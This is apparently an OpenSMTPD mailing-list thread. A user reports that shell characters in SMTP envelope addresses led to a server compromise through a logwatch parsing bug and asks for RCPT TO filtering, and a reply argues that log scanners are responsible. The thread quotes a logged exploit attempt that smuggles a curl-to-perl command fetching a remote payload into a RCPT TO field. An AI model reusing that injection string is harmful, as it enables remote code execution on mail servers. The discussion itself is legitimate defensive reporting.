On 9/20/26 17:54, David Fletcher wrote:
Hi, I was very glad to see this note in the 7.9.0p0 release:The set of characters accepted in envelope addresses no longer includes $ ` { | } , which are never present in legitimate addresses and are commonly seen in exploit attempts.This is because such characters did lead directly to a compromise of my server a couple of weeks ago. I reported this to [email protected] but it turned out that the real issue was a problem in parsing the logs using logwatch. This was fixed very rapidly by the author of that code as explained here: https://github.com/whataboutpereira/OpenSMTPD-Logwatch/issues/1 However, the problem characters as still making their way into the OpenSMTPD logs via the RCPT TO: field. Checking my logs today (running 7.9.0p0) I'm finding entries of the type below: /maillog:Sep 20 07:07:08 flamingo smtpd[1338]: 77d3bd202f85d21b smtp failed-command command="RCPT TO:<"x: Service status change: localhost $(curl -sS http://66.116.243.130/zed|perl &) changed from stopped to running"@cve.invalid>" result="501 5.1.3 Recipient address syntax error" So even with OpenSMTPD 7.9.0p0 these very dangerous shell commands are still making it to the logs without the characters being escaped. Although the logwatch fix now prevents problems it would be better if these fake addresses containing shell commands were screened out. In a future release, can these be screened from the RCPT TO: field as well as envelope address? Best regards, David
Ehh, if you have a security tool that reads logs and executes shells commands found in them, I think you should uninstall it.
Putting this responsibility on smtpd is just wrong. It's not trivial to ensure the log output is safe to mishandle in a shell. If this is considered a problem for smtpd, I imagine there could be no end of bug reports about weird things that end up in logs.
If smtpd does try to avoid logging special shell characters, it makes the logs less useful or more complicated to read. The only thing services should worry about is not to log sensitive data like passwords.
Log scanners should simply not parse and execute commands from logs. -- Maarten
